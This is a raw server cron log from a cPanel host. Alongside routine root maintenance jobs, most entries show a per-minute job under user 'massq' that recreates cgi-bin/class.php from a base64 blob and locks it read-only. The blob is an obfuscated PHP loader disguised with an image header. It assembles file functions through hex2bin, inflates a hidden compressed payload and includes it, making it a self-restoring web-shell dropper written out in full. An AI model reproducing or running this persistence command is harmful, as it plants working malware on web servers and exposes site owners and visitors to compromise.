Sep  7 14:44:01 server CROND[29935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:44:01 server CROND[29937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:44:01 server CROND[29936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:45:01 server CROND[30331]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:45:01 server CROND[30337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:45:01 server CROND[30339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:45:01 server CROND[30341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:45:01 server CROND[30342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:45:01 server CROND[30344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:45:01 server CROND[30340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:46:01 server CROND[31266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:46:01 server CROND[31267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:46:01 server CROND[31270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:47:01 server CROND[31655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:47:01 server CROND[31656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:47:01 server CROND[31655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:47:01 server CROND[31656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:47:01 server CROND[31655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:47:01 server CROND[31656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:47:01 server CROND[31657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:48:01 server CROND[32044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:48:01 server CROND[32046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:48:01 server CROND[32047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:49:01 server CROND[32446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:49:01 server CROND[32448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:49:01 server CROND[32447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:50:01 server CROND[395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:50:01 server CROND[396]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:50:01 server CROND[398]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:50:01 server CROND[418]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 14:50:01 server CROND[406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:50:01 server CROND[433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:50:01 server CROND[435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:50:01 server CROND[434]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:50:01 server CROND[437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:51:01 server CROND[1472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:51:01 server CROND[1474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:51:01 server CROND[1473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:52:01 server CROND[1841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:52:01 server CROND[1842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:52:01 server CROND[1843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:53:01 server CROND[2258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:53:01 server CROND[2257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:53:01 server CROND[2260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
